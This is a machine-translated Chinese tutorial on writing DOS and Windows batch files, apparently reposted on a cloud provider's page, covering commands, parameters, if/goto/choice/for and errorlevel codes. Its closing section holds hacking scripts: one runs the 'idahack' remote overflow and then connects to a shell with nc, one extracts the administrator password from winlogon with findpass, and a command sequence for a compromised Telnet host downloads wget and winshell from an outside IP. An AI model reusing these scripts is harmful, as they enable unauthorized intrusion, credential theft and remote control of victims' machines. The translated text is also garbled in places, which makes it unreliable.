BAT file Learning Use guide _dos/bat

Source: Internet
Author: User
Tags eol file copy goto numeric value
First, the batch file is a text file, and each line of the file is a DOS command (most of the time, like the command line we execute at the DOS prompt), you can use the DOS edit or Windows Notepad (Notepad) Any text file Editing tool creates and modifies a batch file.
Second, batch files are simple programs that control the flow of commands by conditional statements (if) and Process Control statements (goto), and loop statements (for) can be used to loop through a command in batch processing. Of course, the programming ability of batch files and C language programming statements is very limited, but also very nonstandard. The batch process statement is a DOS command (including internal commands and external commands), and the ability to batch processing depends largely on the commands you use.
Third, each prepared batch file is equivalent to a DOS command, and you can place it in your DOS search path (path) so that it can run anywhere. A good habit is to create a bat or BATCH directory on your hard disk (for example, C:\BATCH) and then put all the batch files you write into that directory so that you can run all of your batch programs in any location if you set up C:\batch on the path.
Four, under DOS and win9x/me systems, C: The Autoexec.bat batch file in the packing directory is the automatic running batch file. This file is automatically run every time the system starts, and you can put commands that you want to run every time the system starts up, such as setting the search path, driving the mouse and disk caching, setting the system environment variables, and so on. The following is an example of a Autoexec.bat running under Windows 98:
@ECHO off
PATH C:\WINDOWS; C:\WINDOWS\COMMAND; C:\UCDOS; C:\DOSTools; C:\SYSTOOLS; C:\WINTOOLS; C:\BATCH
LH smartdrv. exe/x
LH Doskey.com/insert
LH Ctmouse. Exe
SET temp=d:\temp
SET tmp=d:\temp
The role of batch processing
Simply put, the effect of batch processing is to automatically execute multiple commands consecutively.
Here is the simplest application: When you start the WPS software, you must perform each time (> The preceding content represents a DOS prompt):
C:\>CD WPS
C:\wps>spdos
C:\wps>py
C:\wps>wbx
C:\wps>wps
Do you find it troublesome to do this once every time you use WPS?
Well, with the batch process, you can simplify these troublesome operations, first we write a runwps.bat batch file, which reads as follows:
@echo off
C:
Cd\wps
Spdos
Py
Wbx
Wps
cd\
Later, each time we enter WPS, only need to run runwps this batch file.
Common commands
Echo, @, call, pause, REM (tip:: Instead of REM) are some of the most commonly used commands for batch files, and we start with them.
Echo indicates the character after this command is displayed
echo off means that none of the commands running after this statement show the command line itself
@ is the same as echo off, but it is added to the front of each command line, indicating that the runtime does not display the command line for this line (only the current row is affected).
Call invokes another batch file (if you call other batch files directly without calling), you cannot return the current file and execute subsequent commands for the current file after the batch file is executed.
Pause run this sentence to suspend the execution of the batch and display "Press any key to continue ..." on the screen, or click any key to continue ... and waits for the user to press any key to continue.
REM represents the word identifier the line (note) after the command, not executing, but only for future reference (equivalent to a comment in the program).
Example 1: Edit the A.bat file with edit, enter the following content for C:\a.bat, after the execution of the batch file can be implemented: All files in the root directory into the a.txt, start Ucdos, into WPS and other functions.
The contents of the batch file are: Command comment:
@echo off does not show subsequent command lines and the current command line
Dir c:\*.* >a.txt writes a list of C-disk files to A.txt
Call C:\ucdos\ucdos.bat calls Ucdos
echo, how do you show "Hello"?
Pause paused, waiting for key to continue
REM Ready to run WPS Note: Ready to run WPS
CD Ucdos into Ucdos directory
WPS Operation WPS
Parameters for batch Files
Batch files can also use parameters (equivalent to the command line arguments of DOS commands) as functions in C, which requires a parameter notation "%".
%[1-9] Represents a parameter, which is a string separated by a space (or tab) that is added after the file name when the batch file is run. Variables can represent the batch command itself from%0 to%9,%0, and other parameter strings are represented in the order of%1 to%9.
Example 2:C: The root directory has a batch of processing file name F.bat, the content is:
@echo off
Format%1
If you execute c:\>f a:
When the F.bat is executed,%1 represents a:, so that the format%1 is equivalent to format a: The above command actually executes format a when it is run:
Example 3: C: Root directory The next batch of processing file name is T.bat, the content is:
@echo off
Type%1
Type%2
Then run c:\>t a.txt b.txt
%1: Indicates a.txt
%2: Indicates b.txt
The commands above will then display the contents of the A.txt and B.txt files sequentially.
Special commands
If Goto choice for is a more advanced command in a batch file, you are an expert in batch files if you use them skillfully.
An if is a conditional statement that is used to determine whether a specified condition is met, thus determining the execution of a different command. There are three different formats:
1, if [not] "parameter" = = "string" command to be executed
If the argument is equal to the string specified by the (not as unequal), the condition is set, the command is run, or the next sentence is run.
Example: If "%1" = = "A" format a:
2, if [not] exist [path \] FileName The command to be executed
If you have the specified file, the condition is set, run the command, or run the next sentence.
Such as: if exist C:\Config.sys type C:\Config.sys
Indicates that if a C:\Config.sys file exists, its contents are displayed.
3, if errorlevel < numbers > pending orders
Many DOS programs return a numeric value to indicate the result (or state) of the program's operation at the end of the run, using the IF ERRORLEVEL command to determine the return value of the program, and to perform different commands depending on the return value (the return value must be in order from large to small). If the return value equals the specified number, the condition is set, the command is run, or the next sentence is run.
if errorlevel 2 goto x2
Goto batch file Run here will jump to goto the specified label (marking is label, marking with: followed by a standard string to define), goto statements are generally used in conjunction with if, according to different conditions to execute different command groups.
Such as:
Goto END
: End
The echo this are the end
The label is defined by ": string", and the line of the label is not executed.
Choice Use this command to allow the user to enter a character (for selection), which returns a different errorlevel depending on the user's choice, and then to the if errorlevel to run a different command depending on the user's choice.
Note: The choice command has a slightly different version of the choice command syntax for the external commands provided by DOS or Windows systems, please use choice/? To view the usage.
The choice command syntax, which is the syntax for the Choice command in Windows 2003, is similar to the command syntax for other versions of choice:
CHOICE [/C choices] [/n] [/cs] [/T timeout/d CHOICE] [/M text]
Describe:
The tool allows the user to select an item from the select list and return the index of the selected item.
Parameter list:
/C choices Specifies the list of options to create. The default list is "YN".
/n Hides the list of options in the prompt. Prompts the previous message to be displayed and the option is still enabled.
/cs allows you to select options that are case-insensitive. By default, this tool is not case-by-case.
/T Timeout The number of seconds to pause before making a default selection. The acceptable values are from 0 to 9999. If 0 is specified, there is no pause, default option
Will get a choice.
/d choice Specifies the default option after nnnn seconds. The character must be in a set of selections specified with the/C option; At the same time, nnnn must be specified with/T.
/M text Specifies the message to display before prompting. If not specified, the tool displays only prompts.
/? Displays a help message.
Attention:
The ERRORLEVEL environment variable is set to the key index selected from the selection set. The first selection listed returns 1, the second option returns 2, and so on. The tool emits a warning beep if the user presses a key that is not a valid selection. If the tool detects an error state, it returns a value of 255 errorlevel. If the user presses the Ctrl+break or CTRL + C key, the tool returns a value of 0 errorlevel. When you use the ERRORLEVEL parameter in a batch program, the arguments are sorted in descending order.
Example:
CHOICE/?
CHOICE/C ync/m "Confirm please press Y, no please press N, or cancel please press C." "
choice/t 10/c ync/cs/d y
CHOICE/C ab/m Option 1 Please select a, option 2, select B. "
CHOICE/C ab/n/M "option 1 Please select a, option 2, select B. "
If I run the command: choice/c ync/m "confirm, press Y, please press N, or cancel please press C." "
The screen will show:
Confirm Press Y, please press N, or cancel, press C. [Y,n,c]?
For example: The contents of the Test.bat are as follows (note that the return value is ordered from high to low by the IF errorlevel):
@echo off
CHOICE/C dme/m "Defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto MEM
If Errotlevel 1 goto defrag
:d Efrag
C:\dos\defrag
Goto END
: Mem
Mem
Goto END
: End
echo Good bye
After this batch is run, the "Defrag,mem,end[d,m,e]" is displayed, the user can select D M E, and the IF statement is judged according to the user's choice, d indicates that the program segment is executed as Defrag, and M represents the program segment where the label is mem. E is the program segment that executes the label end, and each program segment ends with Goto end, and then the program displays the good bye, and the batch run ends.
The For loop command, which executes the same command multiple times, as long as the condition is met.
Grammar:
Executes a specific command on each file in a set of files.
For%%variable in (set) do command [Command-parameters]
%%variable specifies a single letter replaceable parameter.
(set) to specify one or a set of files. You can use wildcard characters.
command specifies the commands that are executed for each file.
command-parameters specifies a parameter or command-line switch for a particular command.
For example, there is one row in a batch file:
For%%c in (*.bat *.txt) do type%%c
The command line displays the contents of all files with bat and txt extensions under the current directory.
Batch processing sample
1. If-exist
1)
First use Notepad to create a test1.bat batch file in C:\, which reads as follows:
@echo off
IF EXIST \autoexec. BAT TYPE \autoexec. BAT
IF not EXIST \autoexec. BAT ECHO \autoexec. BAT does not exist
And then run it:
C:\>test1. BAT
If a Autoexec.bat file exists in the C:\, its contents are displayed, and if not, the batch prompts you that the file does not exist.
2)
Then a test2.bat file is created, which reads as follows:
@ECHO off
IF EXIST \%1 TYPE \%1
IF not EXIST \%1 ECHO \%1 does not EXIST
Perform:
C:\>test2 AUTOEXEC. BAT
The command runs the same result as above.
Description
(1) If EXIST is used to test the existence of the file, the format is
IF EXIST [path + filename] Command
(2) The%1 in the Test2.bat file is a parameter and DOS allows 9 batches of parameter information to be passed to the batch file,%1~%9 (% 0 for the test2 command itself), which is somewhat like the relationship between actual and formal parameters in programming,%1 is a formal parameter, AUTOEXEC. BAT is an argument.
3 Further, establish a document called Test3.bat, which reads as follows:
@echo off
IF "%1" = = "A" ECHO XIAO
IF "%2" = = "B" ECHO TIAN
IF "%3" = = "C" ECHO Xin
If you are running:
C:\>test3 A B C
The screen will show:
XIAO
TIAN
Xin
If you are running:
C:\>test3 A B
The screen will show
XIAO
TIAN
During the execution of this command, DOS assigns an empty string to parameter% 3.
2, If-errorlevel
The establishment of the Test4.bat, the contents are as follows:
@ECHO off
XCOPY C:\AUTOEXEC. BAT d:if errorlevel 1 ECHO file copy failed
IF ERRORLEVEL 0 ECHO successfully copies files
Then execute the file:
C:\>test4
If the copy of the file is successful, the screen will display "Copy files successfully", or "file copy Failed" will be displayed.
IF errorlevel is used to test the return value of its last DOS command, note that only the return value of the previous command is returned, and the return value must be judged in order from large to small. The following batch file is therefore incorrect:
@ECHO off
XCOPY C:\AUTOEXEC. BAT D:\
IF ERRORLEVEL 0 ECHO successfully copies files
IF ERRORLEVEL 1 ECHO does not find the copy file
IF ERRORLEVEL 2 ECHO user aborts copy operation via Ctrl-c
IF ERRORLEVEL 3 ECHO preset error prevents file copy operation
Write disk error in the IF errorlevel 4 ECHO copy process
Whether or not the copy succeeds, the following:
Copy file not found
User aborts copy operation via Ctrl-c
Preset errors prevent file copy operations
Write disk error in copy process
will show up.
The following are the return values of several commonly used commands and the meaning of their representations:
Backup
0 Backup Successful
1 No backup files found
2 File share conflicts prevent backup from completing
3 User aborts backup with ctrl-c
4 Abort the backup operation due to fatal error
Diskcomp
0 disks are the same
1-Disk comparison different
2 user aborted comparison operation via Ctrl-c
3 The comparison operation aborted due to fatal error
4 Preset Error Abort comparison
diskcopy
0 Disk copy operation succeeded
1 non-fatal disk read/write error
2 user end copy operation via Ctrl-c
3 The disk copy is aborted due to fatal processing error
4 Preset error block copy operation
Format
0 format Success
3 user aborted format processing via CTRL-C
4 formatting aborted due to fatal handling error
5 at the prompt "Proceed with format (y/n)?" Next user type N end
Xcopy
0 successful copying of files
1 No Copy files found
2 user aborted copy operation via Ctrl-c
4 Preset error prevents file copy operation
5 Write disk error in copy process
3, IF STRING1 = = STRING2
Establish Test5.bat, the contents of the document are as follows:
@echo off
IF "%1" = = "A" FormAT A:
Perform:
C:\>test5 A
The screen displays the contents of the format a: disk.
Note: In order to prevent the argument from being empty, you will typically enclose the string in double quotes (or other symbols, note that you cannot use a reserved symbol).
such as: if [%1]==[a] or if%1*==a*
5, GOTO
Establish Test6.bat, the contents of the document are as follows:
@ECHO off
IF EXIST C:\AUTOEXEC. BAT GOTO _copy
GOTO _done
: _copy
COPY C:\AUTOEXEC. BAT D:\
: _done
Attention:
(1) Before the label is the ASCII character of the colon ":", the colon and the label can not have spaces between.
(2) The naming rule for the label is the same as the naming rule for the filename.
(3) DOS supports a maximum of eight-digit characters, and when two labels cannot be distinguished, jumps to the nearest label.
6, for
Establish C:\TEST7. BAT, the contents of the file are as follows:
@ECHO off
For%%c in (*. BAT *. TXT *. SYS) do TYPE%%c
Run:
C:>test7
After execution, the screen will display all the contents of the file (excluding hidden files) with the bat, TXT, and SYS extensions in the C: Packing directory.
Win2000 Command line batch BAT file tips
Article structure
1. Help information for all built-in commands
2. The concept of environmental variables
3. Built-in special symbols (the actual use of the center of attention to avoid)
4. Simple batch processing document concept
5. Annex 1 Tmp.txt
6. Annex 2 Sample.bat
###########################
1. Help information for all built-in commands
###########################
Ver
CMD/?
Set/?
REM/?
If/?
echo/?
Goto/?
For/?
Shift/?
Call/?
Other common commands that need to be used
Type/?
Find/?
findstr/?
Copy/?
The following outputs all of the above help to a file
Echo ver >tmp.txt
Ver >>tmp.txt
echo cmd/? >>tmp.txt
CMD/? >>tmp.txt
echo REM/? >>tmp.txt
REM/? >>tmp.txt
echo If/? >>tmp.txt
If/? >>tmp.txt
Echo Goto/? >>tmp.txt
Goto/? >>tmp.txt
echo for/? >>tmp.txt
For/? >>tmp.txt
echo Shift/? >>tmp.txt
Shift/? >>tmp.txt
echo Call/? >>tmp.txt
Call/? >>tmp.txt
echo Type/? >>tmp.txt
Type/? >>tmp.txt
echo Find/? >>tmp.txt
Find/? >>tmp.txt
echo findstr/? >>tmp.txt
findstr/? >>tmp.txt
echo Copy/? >>tmp.txt
Copy/? >>tmp.txt
Type Tmp.txt
#############################
2. The concept of environmental variables
#############################
C:\Program Files>set
Allusersprofile=c:\documents and Settings\All Users
Commonprogramfiles=c:\program Files\Common Files
Computername=first
Comspec=c:\winnt\system32\cmd.exe
Number_of_processors=1
Os=windows_nt
Os2libpath=c:\winnt\system32\os2\dll;
Path=c:\winnt\system32; C:\WINNT; C:\WINNT\system32\WBEM
pathext=.com;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH
Processor_architecture=x86
Processor_identifier=x86 Family 6 Model 6 stepping 5, Genuineintel
Processor_level=6
processor_revision=0605
Programfiles=c:\program Files
prompt= $P $g
Systemdrive=c:
Systemroot=c:\winnt
Temp=c:\winnt\temp
Tmp=c:\winnt\temp
Userprofile=c:\documents and Settings\Default User
Windir=c:\winnt
Path: Represents the search path for an executable program. My advice is that you copy your program to
%windir%\system32\. This directory inside. It is generally possible to search automatically.
Syntax: Copy mychenxu.exe%windir%\system32\.
Use points (.) for easy glance
References to environment variables use (English mode, half-width) double quotes
%windir% variable
%%windir%% two times variable reference.
We used to have
%temp% Temporary Files directory
%windir% System Directory
%errorlevel% Exit code
The output file is in the temporary file directory. This makes the current directory neat.
An argument with a space. You should learn to use double quotes ("") to denote, for example, the operation of the Porgram file folder
C:\>dir p*
C:\ The directory
2000-09-02 11:47 2,164 PDOs. Def
1999-01-03 00:47 <DIR> Program Files
1 files 2,164 bytes
1 Directory 1,505,997,824 Free bytes
C:\&GT;CD pro*
C:\Program files>
C:\>
C:\&GT;CD "Program Files"
C:\Program files>
############################################
3. Built-in special symbols (the actual use of the center of attention to avoid)
############################################
Microsoft built-in the following characters cannot be used in the middle of the file name created
Con nul aux \/| | && ^ > < *
can use most characters as variable values, including white spaces. If you use the special characters,, |,, or ^, and must precede them with the escape character (^) or quota tion Marks. If with quotation marks, they are included as part of the value because everything following the equal sign are taken as The value. Consider the following examples:
Either you use ^ as a leading character. Or you just use double quotes "".
To create the variable value new&name, type:
Set Varname=new^&name
To create the variable value "New&name", type:
Set Varname= "New&name"
The ampersand (&), pipe (|), and parentheses () are special characters that must is preceded by the escape character (^) or quotation marks when your pass them as arguments.
Find "Pacific Rim" < trade.txt > Nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. Missing
> Create a file
>> append to the back of a file
The @ prefix character. Indicates that the line is not displayed in CMD at execution time and can be turned off with Echo off
^ Leading characters for special symbols (> < &). The first one just shows AAA second output file BBB
Echo 123456 ^> AAA
echo 1231231 > BBB
() contains commands
(Echo AA & Echo BB)
, the default separator symbol, which is the same as a space.
; Comment, indicating that the comment follows
: Marking function
| Pipe operation
& Usage: First Command & second command [& Third Order ...]
In this way, you can execute multiple commands at the same time, regardless of whether the command was executed successfully
Dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage: First command && second command [&& Third Order ...]
The following command is not executed when a command is encountered that executes the error, and all commands are executed if there is no error;
|| Usage: first Command | | The second command [| | | The Third order ...]
The following command is not executed when the correct command is encountered, and all commands are executed if the correct command is not present;
Common syntax formats
IF [NOT] ERRORLEVEL number command para1 PARA2
IF [NOT] string1==string2 command para1 PARA2
IF [NOT] EXIST filename command para1 para2
IF EXIST filename command para1 para2
IF not EXIST filename command para1 para2
IF "%1" = "" Goto end
IF '%1 ' = = ' net ' goto net
IF not "%2" = = "NET" goto other
IF errorlevel 1 command para1 PARA2
IF not errorlevel 1 command para1 PARA2
FOR/L%%i in (start,step,end) do command [Command-parameters]%%i
For/f "eol=; tokens=2,3* delims=, "%i in (myfile.txt) do echo%i%j%k
Sequentially IJKLMNOPQ the parameters in alphabetical order.
Eol=c-refers to the end of a line comment character (just one)
Skip=n-refers to the number of rows ignored at the start of the file.
Delims=xxx-refers to the delimiter set. This replaces the default delimiter set for spaces and tabs.
########################
4. Simple batch processing document concept
########################
echo this is test > a.txt
Type A.txt
echo This is test 11111 >> a.txt
Type A.txt
echo This is Test 22222 > A.txt
Type A.txt
The second echo is the Append
The third echo clears the a.txt to recreate the a.txt
Netstat-n | Find "3389"
This will list the IP of all users connecting 3389.
________________test.bat______
@echo Please care
echo Plese Care 1111
echo Plese Care 2222
echo Plese Care 3333
@echo Please care
@echo Plese Care 1111
@echo Plese Care 2222
@echo Plese Care 3333
REM does not display the comment statement, the bank displays
@rem does not display the comment statement, the bank does not display
@if exist%windir%\system32\find.exe (echo find Find.exe!!!) Else (echo Error:not find Find.exe)
@if exist%windir%\system32\fina.exe (echo find Fina.exe!!!) Else (echo Error:not find Fina.exe)
_____________________________
Here we take a specific Idahack program is the IDA remote overflow as an example. It should be very simple.
___________________ida.bat_____
@rem Ver 1.0
@if not exist%windir%\system32\idahack.exe echo "Error:dont find Idahack.exe"
@if not exist%windir%\system32\nc.exe echo "Error:dont find Nc.exe"
@if "%1" = "" Goto USAGE
@if not '%2 ' = = ' goto SP2
: Start
@echo now start ...
@ping%1
@echo Chinese win2k:1 sp1:2 sp2:3
Idahack.exe%1 1 >%temp%\_tmp
@echo "prog exit code [%errorlevel%] Idahack.exe"
@type%temp%\_tmp
@find "Good luck:)"%temp%\_tmp
@echo "prog exit code [%errorlevel%] Find [goog luck]"
@if not errorlevel 1 nc.exe%1 99
@goto End
: SP2
@idahack. exe%1%2%temp%\_tmp
@type%temp%\_tmp
@find "Good luck:)"%temp%\_tmp
@if not errorlevel 1 nc.exe%1 99
@goto End
: USAGE
@echo Example:ida.bat IP
@echo Example:ida.bat IP (2,3)
: End
_____________________ida.bat__end_______
Now let's go to the second file. That's the password of the administrator.
Most people say they don't get it. Actually, it's your own. Did not enter the correct information.
___________________________fpass.bat____________________________________________
@rem Ver 1.0
@if not exist%windir%\system32\findpass.exe echo "Error:dont find Findpass.exe"
@if not exist%windir%\system32\pulist.exe echo "Error:dont find Pulist.exe"
@echo start ....
@echo ____________________________________
@if "%1" = "" Goto USAGE
@findpass. exe%1%2%3 >>%temp%\_findpass.txt
@echo "prog exit code [%errorlevel%] Findpass.exe"
@type%temp%\_findpass.txt
@echo ________________________________here__pass★★★★★★★★
@ipconfig/all >>%temp%\_findpass.txt
@goto End
: USAGE
@pulist. exe >%temp%\_pass.txt
@findstr. exe/i "WINLOGON Explorer Internat"%temp%\_pass.txt
@echo "Example:fpass.bat%1%2%3!!!"
@echo "Usage:findpass.exe DomainName UserName Pid-of-winlogon"
: End
@echo "Fpass.bat%computername%%USERNAME% Administrator"
@echo "Fpass.bat end [%errorlevel%]!"
_________________fpass.bat___end___________________________________________________________
Another is that a remote host has been logged in by Telnet. How to upload a file (win)
In turn, enter the following items in the window. Of course, you can also copy all. Ctrl + V the past. Then just wait!!
Echo Open 210.64.x.4 3396>w
Echo read>>w
Echo read>>w
echo CD Winnt>>w
Echo binary>>w
echo pwd >>w
echo Get Wget.exe >>w
echo Get Winshell.exe >>w
echo Get Any.exe >>w
Echo Quit >>w
Ftp-s:w

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.